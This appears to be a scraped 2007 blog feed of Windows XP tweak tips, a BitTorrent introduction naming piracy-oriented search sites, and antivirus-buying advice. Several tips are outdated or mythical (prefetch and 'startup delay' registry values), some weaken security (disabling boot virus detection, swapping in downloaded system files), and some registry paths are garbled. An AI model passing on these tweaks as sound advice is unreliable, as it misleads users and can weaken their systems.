HKEY_CLASSES_ROOT\*\Shell<br />3. Add a new Key named "OpenWith" by right clicking the "Shell" Key and selecting new<br />4. Set the (Default) to "Op&en With..."<br />5. Add a new Key named "Command" by right clicking the "OpenWith" Key and selecting new<br /><span style="color: rgb(51, 51, 51);">6. Set the (Default) to "C:\Windows\rundll32.exe shell32.dll,OpenAs_RunDLL %1", C:\ being your Windows drive. You must enter the "OpenAs_RunDLL %1" exactly this way.<br /></span><span style="font-weight: bold;">FAT into NTFS<br /></span>NTFS IS BETTER THEN FAT32<span style="color: rgb(51, 51, 51);"><!--[endif]--><o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">There are two way to convert FAT32 into NTFS….<br />Conver.exe<br />And FORAMT<br />Format will delete the whole data whereas convert.exe will retain your data<br />You better hav yor mind made up before converting FAT into NTFS<br />Click on start| run<br />Type cmd and press enter<br />Type the foll command<br />Convert X: /FS:NTFS<br />X is the drive u want to convert</span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">DLL files and slow computer</span><br />Here are some tips how you can change your Window<br />start menu. Do right click on Start and than Open.<br />You will see Programs folder. That is<br />C:\Windows\Start Menu and there are shortcuts to<br />programs you have in Windows Start menu. Right click there and New-Shortcut. Now you can browse and add some new document, shortcut to program, song, or whatever you want in Start menu. by New-folder, you can add new group, just like Programs group already exist. If you want to delete some shortcut you added, just delete it from that folder.</span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">Deleting Un-necessary System Softwares</span><br />XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable...... <o:p></o:p></span></p><div style="text-align: justify;"> <span style="font-weight: bold;">Cleaning the Prefetch Directory<br /></span>WindowsXP has a new feature called Prefetch. This keeps a shortcut to recently used programs.However it can fill up with old and obsolete programs.<br />To clean this periodically go to:<br />1. Star / Run / Prefetch<br />2. Press Ctrl-A to highlight all the files<br /><span style="color: rgb(51, 51, 51);">3. Delete them<br /></span>If you need to share multiple folders, running the program SHRPUBW.EXE will bring up a simple dialog box to let you:<br />1. Browse to the folder you want to share<br />2. Enter in a Share name<br />3. Ender in a Share description<br />4. Set permissions. Several choices are available<br /><span style="color: rgb(51, 51, 51);">5. Restart the process from within the same program<o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">Create a Shortcut to Lock Your Computer<br /></span>Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screensaver.<br /><div style="text-align: justify;">To create a shortcut on your desktop to lock your computer:<br />Right-click the desktop.<br />Point to New, and then click Shortcut.<br />The Create Shortcut Wizard opens. In the text box, type the following:<br />rundll32.exe user32.dll,LockWorkStation<br />Click Next.<br />Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like. Click Finish.<br />You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll). To change the icon:<br />Right click the shortcut and then select Properties.<br />Click the Shortcut tab, and then click the Change Icon button.<br />In the Look for icons in this file text box, type:<br />Shell32.dll.<br />Click OK.<br />Select one of the icons from the list and then click OK<br /><span style="color: rgb(51, 51, 51);">You could also give it a shortcut keystroke such CTRL+ALT+L. This would save you only one keystroke from the normal command, but it could be more convenient.</span></div></div><div style="text-align: justify;"><span style="color: rgb(51, 51, 51);"><o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">Fixing Corrupted Desktop Icons<br /></span><div style="text-align: justify;">Easier way to reset icons then deleting SHELLICONCACHE.There's no need to exit Win95 and delete the SHELLICONCACHE file in order to reset icons that you may have changed (like Network Neighborhood).<br />Go to Control Panel, Display, Appearance Tab. Select Icon from the Item drop down list. Change the Size up or down one and apply.<br />Change the Size back to your original and apply.<br />If your Start Menu is slow or your icons are black for some reason, it means your Shelliconcache file is corrupt and should be deleted.<br />Delete the hidden file C:\WINDOWS\SHELLICONCACHE<br /><span style="color: rgb(51, 51, 51);">It will be recreated the next time you start Win95 <o:p></o:p></span></div></div><div style="text-align: justify;"><div style="text-align: justify;"> <span style="font-weight: bold;">Full Window Drag ( Without Plus! )</span><br />Start Regedit Open HKEY_CURRENT_USER /ControlPanel /Desktop /DragFullWindows<br /></div><span style="color: rgb(51, 51, 51);">On "DragFullWindows" properties change 0 to 1 <o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div> <p style="text-align: justify;" class="MsoNormal"><span style="font-size:100%;"><span style=""> </span><b>ACCESS YOUR DESKTOP ICONS FROM YOUR TASKBAR</b><br />Do you ever want to access your desktop, or shortcut icons on your desktop when your screen is cluttered with windows which you don't want to minimize?<br />A simple solution. Place a shortcut to your desktop atop your START Menu. Here's how:<br />1) Right click on your TASKBAR and choose PROPERTIES.<br />2) Select the START MENU PROGRAMS tab, then the ADVANCED button.<br /></span></p><div style="text-align: justify;"><span style="font-size:100%;">3) In the right panel, under the PROGRAMS folder, you will see any shortcuts you have already placed atop your START menu. Right click here in the white space here and choose NEW, then SHORTCUT.</span><br /><span style="font-size:100%;">4. In the command line for your shortcut, type c:\windows\desktop (If your Windows directory has another name, substitute that name for windows).</span><br /><span style="font-size:100%;">5. Click NEXT. Then in the name box, name your shortcut Desktop.</span><br /><span style="font-size:100%;">6. Click the FINISH button.</span><br /><span style="font-size:100%;">7. Close the Explorer window, then click ok in TASKBAR PROPERTIES.</span><br /><span style="font-size:100%;">8. Now, open START on your taskbar. VOILA! Your desktop folder icon should be visible. Click it to open your desktop folder.</span><br /><span style="font-size:100%;">Success!</span><br /></div><div style="text-align: justify;"><span style="font-size:100%;">You will now be able to view and access your desktop shortcut icons (not non-shortcut icons). If you want ALL desktop icons to be visible (Recycle Bin, My Computer etc.), you will need to place shortcuts to these other icons on your desktop.</span><br /><span style="font-size:100%;">Hint:</span><br /><span style="font-size:100%;">If you normally hide your taskbar, so that it is not always on top of other windows, you can access it at any time from any program by pressing and holding control, then pressing escape (the ESC key at top left of your keyboard). You may then quickly choose your desktop folder and access desktop icons as well as any other programs accessible via your taskbar and programs menu.</span><br /><span style="font-size:100%;">Remove Shortcut arrow from Desktop icons</span><br /><span style="font-size:100%;">Here's how you can remove those shortcut arrows from your desktop icons in Windows XP.</span></div> <div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="font-size:100%;">1. Start regedit.<br />2. Navigate to HKEY_CLASSES_ROOTlnkfile<br />3. Delete the IsShortcut registry value.<br />4.</span><span style="color: rgb(51, 51, 51);font-size:100%;" >You may need to restart Windows XP.</span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><b><span style="color: rgb(51, 51, 51);">Add sound to almost every event in windows</span></b><br /></p><div style="text-align: justify;"><span style="color: rgb(51, 51, 51);">XP comes with a new set of sounds that will surely add pizzazz to the way you work in Windows. But there's one problem -- you need to actually turn on the Windows default sound scheme before you'll be able to hear them.</span><br /></div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">To turn on the Windows XP default sound scheme, follow these directions:<br /></span></p><div style="text-align: justify;"><span style="color: rgb(51, 51, 51);">Single-click the Start menu.</span><br /><span style="color: rgb(51, 51, 51);">Single-click the Control Panel.</span><br /><span style="color: rgb(51, 51, 51);">Single-click the Sounds, Speech, and Audio Devices icon.</span><br /><span style="color: rgb(51, 51, 51);">Single-click the Sounds and Audio Devices icon or the text labeled "Change the sound scheme." </span><span style="color: rgb(51, 51, 51);">Make sure you're on the Sound tab and locate the pull-down menu under Sound scheme. </span><span style="color: rgb(51, 51, 51);">Select the Windows Default option and press Apply. Windows will ask you if you want to save the previous sound scheme. Since there wasn't a sound scheme already loaded, just choose No. </span><span style="color: rgb(51, 51, 51);">If you look under the text labeled "Program events," you'll be able to sample your new sounds or customize them with your own. Read Customize Events Sounds if you'd like to learn how to do this yourself. <o:p></o:p></span></div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div> <span style="font-weight: bold;">New Vista effects in Xp</span><br />Get joy of:-<br />Vista Progress Dialog Box:<br />Vista Shutdown/log off dialog box:About Windows box:<br />System Properties dialog box:<br />Windows Classic Startmenu Leftside Image and Start button Logo:<br />What u need to do is just download these 5 files and extract it. Then replace them with the original system file. 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text-align: justify;"><span style="">You can change the normal colors of the background and text when you get a Blue Screen of Death.</span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="">Edit the SYSTEM.INI file in the Windows directory<br />In the [386Enh] add the entries:<br />MessageTextColor=<i>X</i><br />MessageBackColor=<i>X</i><br />Where X is replace by the number for each of the following colors:<br />Black = 0 Blue = 1 Green = 2 Cyan = 3 Red = 4 Magenta = 5 Yellow/Brown = 6<br />White = 7 Gray = 8 Bright Blue = 9 Bright Green = A Bright Cyan = B Bright Red = C<br />Bright Magenta = D Bright Yellow = E Bright White = F<o:p></o:p></span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><!--[if !supportEmptyParas]--> <!--[endif]--><o:p></o:p></span></p><div style="text-align: justify;"> </div><span style="font-weight: bold;">To Set the Computer to clear the pagefile</span><br /><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style=""><o:p></o:p></span></p><div style="text-align: justify;"> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style=""><!--[if !supportEmptyParas]--> <!--[endif]--><o:p></o:p></span></p><div style="text-align: justify;"> </div><p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">To set the computer to clear the pagefile without directly editing the registry is:<br />Click on the Start button<br />Go to the Control Panel<br />Administrative Tools<br />Local Security Policy<br />Local Policies<br />Click on Security Options<br />Right hand menu - right click on "Shutdown: Clear Virtual Memory Pagefile"<br />Select "Enable"<br /></span></p><div style="text-align: justify;"><span style="">Reboot</span><br /></div><div style="text-align: justify;"><b><span style="color: rgb(51, 51, 51);">Powering on the Computer With Your Mouse</span></b><span style="color: rgb(51, 51, 51);"><o:p></o:p></span> </div><div> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> </div> <div style="text-align: justify;"> </div> <p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">If you have ATX Main Board, ATX case Award Bios, or any Bios that supports PS/2 Mouse Power On, then you can power on your computer with a double click.<o:p></o:p></span></p> <div style="text-align: justify;"> </div> <p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">To activate this feature:<o:p></o:p></span></p> <div style="text-align: justify;"> </div> <p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="">Restart your computer <o:p></o:p></span></p> <div style="text-align: justify;"> </div> <span style="">Then press Del when the BIOS message appears to enter your CMOS configuration </span><span style="">Select Integrated Peripherals from main menu <o:p></o:p></span><br /><span style="">If PS/2 mouse power on disabled, activate it by press page up/ page down key it will became Double-Click <o:p></o:p></span><br /><span style="">Press Esc key to exit <o:p></o:p></span><br /><span style="">Press F10 to save and exit Power off your PC<o:p></o:p></span> <div style="text-align: justify;"> </div> <p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">Now double-click the left mouse button,.. Your PC will turn on</span></p> <p style="margin: 0in 0in 0.0001pt; text-align: justify;"><span style="font-weight: bold;">Speed Up XP Booting.</span><br />Start Registry Editor (Regedit.exe).<br />Locate the following key in the registry:<br />HKEY_LOCAL_MACHINE\SYSTEM\Current<br />ControlSet\Control\Ses<br />sionManager\MemoryManagement\Prefetch<br />Parameters<br />Make sure you backup the keys by exporting them to a .reg file.<br />On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).<br />Close the registry editor.<br />Restart your computer </p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoBodyText"><span style="">A great new feature in Microsoft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option is enabled, but on some systems it is not, so below is the information on how to turn it on:<br />Go to Start Menu and Click Run<br />Type in regedit then click ok<br />Find "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imizeFunction"<br />Select "Enable" from the list on the right<br />Right on it and select "Modify"<br />Change the value to Y .<br />Reboot your Pc and see the change yourself.</span><br /><b><span style="">Method3.</span></b><br /><span style="">Start up can be seriously delayed if Windows if prefetching the whole world. Go into registry and edit the prefet section to only fetch the OS files. Or even do no prefetch if you want. I use a setting of 2 which prefetchs only the OS files.<br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters<br />key name EnablePrefetcher<br />0?Disable<br />1?Application Launch Prefetch<br />2?Boot Prefetch<br />3?Prefetch everything</span></p><p style="text-align: justify;" class="MsoBodyText"><span style="font-weight: bold;">Increasing XP shutdown speed</span><br />Increasing shutdown speed by reducing wait times:<br />Windows XP stores a couple of values in its registry which are responsible for determining how long to wait before shutting down (killing) open applications and services once the shutdown command has been given.<br />By editing these two settings and changing them to lower values, you can considerably decrease the amount of time that Windows XP needs to successfully shut itself down. The first part of this tweak deals with setting the amount of time Windows will take to kill open applications on shutdown.<br />Open REGEDIT and navigate to 'HKEY_CURRENT_USER\Control Panel\Desktop\'<br />Highlight the 'WaitToKillAppTimeout' value.<br />Set it to '1000' (the default should be 20000).<br />Now highlight the 'HungAppTimeout' value<br /><span style="color: rgb(51, 51, 51);">Set it to '1000' also.</span><br /><span style=""><o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><b><span style="color: rgb(51, 51, 51);">Disable Boot Virus Detection</span></b><br /><span style="color: rgb(51, 51, 51);">Having the Boot Virus Detection enabled is pretty much obsolete with the newer machines. This is due to more modern virus styles and the fact that most Motherboards now days can detect any attempts to write to the boot sector or the partition table.<br />Disabling this feature in the "Advanced BIOS Features" section of the BIOS will improve your boot speed<o:p></o:p></span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><b><span style="color: rgb(51, 51, 51);">Add Safe Mode to Boot menu</span></b><br /><span style="color: rgb(51, 51, 51);">Safe Mode is most commonly used for troubleshooting purposes. If you find yourself booting to safe mode often. You may find it helpful to include the option for safe mode in your boot menu. Below, is a method you can use to save yourself from having to press F8 during startup to access Safe Mode:<br />Right click My Computer and click Properties.<br />Click the Advanced tab.<br />Under Start Up and Recovery, click the Settings button.<br />Click Edit. The boot.ini file will open in Notepad.<br /></span></p><div style="text-align: left;"><span style="color: rgb(51, 51, 51);">Copy the line that reads as follows: multi(0)disk(0)rdisk(0)partition(2)\WINDOWS=”Microsoft Windows XP Professional” /fastdetect.</span><br /></div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);">Paste the line you just copied after the original one.<br />Change the copied line from “Microsoft Windows XP Professional” to “Windows XP Safe Mode” or something similar.<br />At the end of this line add the following: /safeboot:minimal /sos /bootlog.<br />Save the boot.ini file by clicking File then Save.<br />Restart your computer and Safe Mode should be available at the boot menu.<br />Note: Your actual Boot.INI may vary to a small degree. The above is an example only. Be sure to copy your boot.ini file prior to making any changes to it.</span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">Creating Shutdown, Restart and Logoff Icons</span><br />To create the icons, create a shortcut on the desktop.<br /><b>For Shutdown</b>, the command is C:\WINDOWS\RUNDLL.EXE user.exe,exitwindows<br /><b>For Restart,</b> the command is C:\WINDOWS\RUNDLL.EXE user.exe,exitwindowsexec<br /><b>For Logoff,</b> the command is C:\WINDOWS\RUNDLL.EXE shell32.dll,SHExitWindowsEx 0</span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="color: rgb(51, 51, 51);"><span style="font-weight: bold;">Hibernate computer to save time</span><br />Hibernate for faster start<br />If you turn-down computer when you're not working on it, you will save the energy, but not the time. If you don't want to wait until computer turns on, log on, ... than you can use Hibernate function. However, you can't "sleep" all computer like that. Windows 9x with Fat32, for example, can't hibernate.<br /><b>How you can tell if your system can hibernate?</b><br />In Windows 2000 or Windows XP, login like administrator. In Internet explorer, or in any directory, in Address field, type "control panelpower options" and click Enter. If you see Hibernate card, in dialog box, great. Open that card and see "Disk space for hibernation". See if your computer fits that condicions. Check "Enable hibernation" and be shore there is no error message.<br />Next time when you chose "Start-Shutdown" (Windows 98, ME and 2000), chose Hibernate option and go OK. In WindowsXP, chose "Start-Turn Off Computer" and click Shift to turn "Stand By" button to "Hibernate" button</span></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style=""><span style="font-weight: bold;">Disable or Remove Shutdown</span><br />It is Possible to Remove Shut Down option from Start menu. Just follow the following steps.<br />Start->Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable.</span></p><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><span style="font-weight: bold;">Make your PC shutdown at a time u wish.</span><br /><b><span style="color: rgb(51, 51, 51);">METHOD1</span></b><span style="color: rgb(51, 51, 51);"><br />1. Right click on your desktop and choose "New=>shortcuts".<br />2. In the box that says "Type the location of the shortcut",<br />type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.<br />3. Make up a name for the shortcut and you're done.<br />You can change the icon by right clicking=>properities=>change icon=>browse<br />TO ABORT:<br />To make an abort key to stop the shutdown timer just create another shortcut and make<br />the "location of the shortcut" to " shutdown -a" without the quotes.<br /><b>METHOD2</b><br />Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in<br />start=>Run<br />Type Code: at 11:35 shutdown -s<br />TO ABORT:<br />Code:shutdown -a</span><br /><b><span style="color: rgb(51, 51, 51);"><!--[if !supportEmptyParas]--> <!--[endif]--><o:p></o:p></span></b></p><div style="text-align: justify;"> </div><p style="text-align: justify;" class="MsoNormal"><b><span style="color: rgb(51, 51, 51);">TURN ON UR PC IN JUST 10 SECONDS</span></b><span style="color: rgb(51, 51, 51);"><br />Aight so u wanna know how to turn the pc on in 10 seconds (may vary)Aight heres what u have to do to turn ur pc on in 10 seconds<br />Aite Click on the start button then press R it will take u to Run well go to run<br />n type Regedit<br />press enter<br />this will open Registery Editor<br />now look for the key<br />HKEY_LOACAL_MECHINE\SYSTEM\CurrentControlSet\Contr ol\ContentIndex<br />now there find the Key Called<br />"Startup Delay"<br />Double Click On It<br />Now where its Base<br />Click Decimal<br />Now its Default Value Is 4800000 (75300:hexadecimal)<br />Change The Value To 40000<br />here u go u have done it<br />now close the Registery Editor and Restart Your Computer<br />You'll See The Result</span></p><span style="color: rgb(51, 51, 51);"></span>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-27120783622952958002007-12-26T17:18:00.000+05:302007-12-26T17:34:41.788+05:30Torrents Introduction<span style="font-weight: bold;">What is torrensts ?</span><br /><div style="text-align: justify;">Torrent is a peer-to-peer protocol, which allows users to connect directly to each other to send and receive parts of a file through a central server called a "tracker". The tracker itself does not contain or transmit any information pertaining to the actual content. It only coordinates and manages connections between peers.<br /><span style="font-weight: bold;">Introduction </span><br />GET A CLIENT In order to use BitTorrent you need to download a Bittorrent client This will allow you to grab the files described in the. Torrent. There are many clients currently available that can be downloaded for free of the web. Here are some of them:<br />* Original Bittorrent<br />* Azureus<br />* Shadow Experimental<br />* ABC<br />* Burst<br />* BT++<br />* Shareaza<br />CONFIGURE Once you have downloaded one of the above eventually check the configuration options in order to tune it to your bandwidth (some clients like Azureus have a configuration wizard):<br /><span style="font-weight: bold;">1.</span> Your upload speed shouldn't be set to more than 80 to 90% of your maximum upload speed. For example, if you have a max upload of 25Kb/s your BitTorrent upload speed shouldn't be more than 20 to 22Kb/s. Using all of it would cause your download speed to be severely lowered, this because a small upload percentage is needed by BitTorrent to communicate with the tracker and the other peers.<br /><span style="font-weight: bold;">2.</span> Don't be too generous and restrain the maximum number of uploads -- how many simultaneous leeches will benefit from your seed -- to a reasonable number. Let's say you have one active torrent and 20Kb/s of total bandwidth. With 4 max uploads, 4 people will receive 5Kb/s from you, which is nice. But if you have 3 active torrents and allow 8 uploads, 24 sad guys (3 torrents with 8 connections on each) will only get less than 1Kb/s which is poor<br /><span style="font-weight: bold;">3.</span> When zero means unlimited you shouldn't leave any values anywhere at zero. Indicate high numbers like 99 or less, according to your tastes. It's just a precaution as some clients experienced memory overload while reaching their unlimited limits. Furthermore, zero seldom means "no connections from peers", ie. no seeding... Don't try that unless you want to be banned from our tracker.<br />BITTORRENT PARTS<br />Bit Torrenting consists of three parts:<br />* The Torrent File<br />* The Tracker<br />* The Client<br /><span style="font-weight: bold;">The Torrent File:</span><br />The torrent file, (created with Maketorrent), contains all the necessary information on what the file is, what tracker it uses to connect people, (or what tracker to announce to), and is essentially a schematic shell of what you want to download, including all file-checking information to ensure that downloaded files match hash checks.<br /><span style="font-weight: bold;">The Tracker:</span><br />The tracker is the backbone to the whole system, your client will announce to the tracker at a designated interval, your current status of the transfer. The tracker will then send you a list of all the people/clients it is tracking, and their status, your client will then decipher this list and contact all the other clients and ask for the pieces you need to complete your download.<br /><span style="font-weight: bold;">The Client:</span><br />The client is the program that completes the file for you, it will contact the tracker it a designated interval and receive a list of peers, your client will then communicate to each of those peers on the list and ask for the needed parts.<br />What do all these words mean? (Seeding, uploading,…………)<br />Here is a brief list of words associated with BitTorrent and their meanings.<br /><span style="font-weight: bold;">torrent</span><br />Usually this refers to the small metadata file you receive from the web server (the one that ends in. torrent.) Metadata here means that the file contains information about the data you want to download, not the data itself. This is what is sent to your computer when you click on a download link on a website. You can also save the torrent file to your local system, and then click on it to open the BitTorrent download. This is useful if you want to be able to re-open the torrent later on without having to find the link again.<br />In some uses, it can also refer to everything associated with a certain file available with BitTorrent. For example, someone might say "I downloaded that torrent" or "that server has a lot of good torrents", meaning there are lots of good files available via BitTorrent on that server.<br /><span style="font-weight: bold;">peer</span><br />A peer is another computer on the internet that you connect to and transfer data. Generally a peer does not have the complete file, otherwise it would be called a seed. Some people also refer to peers as leeches, to distinguish them from those generous folks who have completed their download and continue to leave the client running and act as a seed.<br /><span style="font-weight: bold;">seed</span><br />A computer that has a complete copy of a certain torrent. Once your client finishes downloading, it will remain open until you click the Finish button (or otherwise close it.) This is known as being a seed or seeding. You can also start a BT client with a complete file, and once BT has checked the file it will connect and seed the file to others. Generally, it's considered good manners to continue seeding a file after you have finished downloading, to help out others. Also, when a new torrent is posted to a tracker, someone must seed it in order for it to be available to others. Remember, the tracker doesn't know anything of the actual contents of a file, so it's important to follow through and seed a file if you upload the torrent to a tracker.<br /><span style="font-weight: bold;">Reseed</span><br />When there are zero seeds for a given torrent (and not enough peers to have a distributed copy), then eventually all the peers will get stuck with an incomplete file, since no one in the swarm has the missing pieces. When this happens, someone with a complete file (a seed) must connect to the swarm so that those missing pieces can be transferred. This is called reseeding. Usually a request for a reseed comes with an implicit promise that the requester will leave his or her client open for some time period after finishing (to add longevity to the torrent) in return for the kind soul reseeding the file<br /><span style="font-weight: bold;">Step-By-Step Download Process</span><br /><span style="font-weight: bold;">1.</span>you use special Torrent search engines to find. Torrent text files around the Net. A. torrent text file functions as a special pointer to locate a specific file and the swarm of people currently sharing that file. These .torrent files vary from 15kb to 150kb file size, and are published by serious Torrent sharers around the world.<br /><span style="font-weight: bold;">2,</span>you download the desired. Torrent file to your drive (this takes about 5 seconds per. torrent file at cable modem speeds).<br /><span style="font-weight: bold;">3.</span>you open the. Torrent file into your Torrent software. Usually, this is as simple as a a double-click on the. Torrent file icon, and the client software auto-launches. In other cases, this software will even open the Torrent file for you.<br /><span style="font-weight: bold;">4.</span>The Torrent client software will now talk to a tracker server for 2 to 10 minutes, while it scours the Internet for people to swarm with. Specifically, the client and tracker server will search for other users who have the same exact .torrent file as you.<br /><span style="font-weight: bold;">5.</span>As the tracker locates Torrent users to swarm with, each user will be automatically labeled as either a “leech/peer” or as a “seed” (users who have only part of the target file, versus users who have the complete target file). As you might guess, the more seeds you connect to, the faster your download will be. Commonly, 10 peers/leeches and 3 seeders is a good swarm for downloading a single song/movie.<br /><span style="font-weight: bold;">6.</span>The client software then begins the transfer. As the name “sharing” implies, every transfer will happen in both directions, “down” and “up” (leech and share).<br />*SPEED EXPECTATION: Cable and DSL modem users can expect an average of 25 megabytes per hour, sometimes slower if the swarm is small with less than 2 seeders. On a good day with a big swarm, however, you can download a 5MB song within 3 minutes, and a 900MB movie within 60 minutes.<br /><span style="font-weight: bold;">7.</span>Once the transfer is complete, leave your Torrent client software running for at least two hours. This is called "seeding" or "good karma", where you share your complete files to other users.<br />Suggestion: do your downloads just before you go to sleep at night. This way, you will seed your complete files, you will increase your upload/download ratio, and you will have complete downloaded files by the time you wake up!<br /><span style="font-weight: bold;">8.</span>Movie and music plug-ins: you will likely need to install media players and updated codec converters to play your downloads:<br />e.g. Windows Media Player, DivX, RealAudio, Daemon Tools Virtual CD/DVD. Click here for details on getting these plug-in players.<br />e.g. Xp Codec Pack and other coder-decoder converters.<br /><span style="font-weight: bold;">9.</span>Enjoy your movies and songs!<br /><span style="font-weight: bold;">10</span>.Fair warning: you will want a second hard drive once you start serious Torrent downloading. Songs and movies require large disk space, and an average P2P user commonly has 20 to 40 GB of media files at any one time. A second 250GB hard drive is common for serious P2P users, and the recent low prices on hard drives make it a good investment.<br /><span style="font-style: italic;">Torrent search engine sites </span>are listed below. This list is compiled from hundreds of reader votes, and voted on each week by a small panel of torrent download users.<br /><a href="http://Isohunt.com"><span style="font-weight: bold;">Isohunt.com </span></a><br />(September, 2007: Isohunt is barring American users from connecting to American torrent trackers. American users, however, can still use Isohunt to find torrents, and connect to third party trackers. If you want to use this tremendous Canadian site, you better use it while you can. Note: any torrent listed as "ISOhunt release" means that it is a file verified by the administrators...a nice feature to help you get authentic torrents, not fake files.)<br /><a href="http://Torrentspy.com">Torrentspy.com</a> offers over 420,000 torrents in its database, the largest torrent index that is readily available to the public. September 2007 update: Torrentspy has declared that it will be forbidding American users from doing searches on its website, under pressure from the MPAA.<br /><a href="ThePirate%20Bay.com">ThePirate Bay</a><a href="ThePirate%20Bay.com">.com</a>, by readership size, is the most popular torrent search site today. Pirate Bay also has an immense database of 600,000+ torrents, the single largest database available on the web.<br /><a href="http://Demonoid.com">Demonoid</a> Nov 9, 2007 update: The CRIA has threated Demonoid's ISP. Accordingly, Demonoid has shut down entirely for the time being. This is a sad day for torrent downloaders everywhere. Sep. 26, 2007 update: Canadian users can no longer access Demonoid.com. Details are forthcoming, but their Canadian ISP shut them down by court order. The Canadian Recording Industry Association is behind this court order.<br /><a href="http://Torrentscan.com">Torrentscan.com</a> (a meta-search engine: Torrenscan is a search engine that searches other torrent search engines)<br /><br /></div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-48347924179544230522007-12-16T17:42:00.000+05:302007-12-16T17:51:03.162+05:30Tips to select AntiVirus<div style="text-align: justify;">So you made the decision to Select an AntiVirus (AV) to safeguard your system. But stuck with what to look for in the AV?<br />------------------------------<br />Here are some of the tips that will help you in selecting the best AV for your computer:<br /><span style="font-weight: bold;">-</span> Load on System<br /><span style="font-weight: bold;">- </span>Type of subscription<br /><span style="font-weight: bold;">-</span> Ease of Upgradation<br /><span style="font-weight: bold;">-</span> Technical Support<br /><span style="font-weight: bold;">-</span> Frequency of the definitions or updates<br />Load on System<br />One of the common complaints from the users is that AV is taking lot of system resources. I think the problem could be caused at the startup of the computer where the most of the programs are configured to load and slow down the system. One way to get around this is to disable or delay or the startup of other applications. Remember it is very essential that AV loads at startup and not at a later time because some of the threats tend to load at startup and if they are allowed to load, they could even disable the AV.<br />Some of the other tips include, increasing the system RAM or Memory. Not only does this speed up the computing, but also allows you to multitask. Here is an easy and simple way to selectively allow programs to start:<br />1. Go to Start > Run<br />2. Type MSCONFIG<br />3. Click on the Startup tab<br />4. Uncheck the programs like Adobe, Winamp, MSN /Yahoo/Gtalk Messenger and etc<br />5. Click OK<br /><span style="font-weight: bold;">Technical Support</span><br />Believe me, one factor that is going to have a major impact on your peace of mind is the Technical Support from your vendor on their product. I have seen people tear their hairs on the issues that can arise out of the blue.<br />Most of the problems arise while installing the product. Make sure you read the minimum hardware requirements, supported OS, incompatibility with other products before you decide to zero in on any product. Such information is published in the vendor website.<br /><span style="font-weight: bold;">NOTE:</span> You should Install and Use only One AntiVirus at a time. Having multiple AV to protect your system can cause all of them to malfunction and allow a threat to affect your system!<br />Technical support can be free or charged. Normally, free technical support is restricted to Knowledge Base Articles and Email or Chat support. KB articles are a good source of information for known issues and solutions for them. Some AV vendors even run support forum, where the solution comes from people like you and me.<br />Paid support comes in the form of Telephone calls. Here also you may have to go through the maze of IVRs to actually get to talk to the agent. By the time you get to talk to the agent you may be zapped, this does not end here….but to actually get the solution to your problem, you will have to shell out some 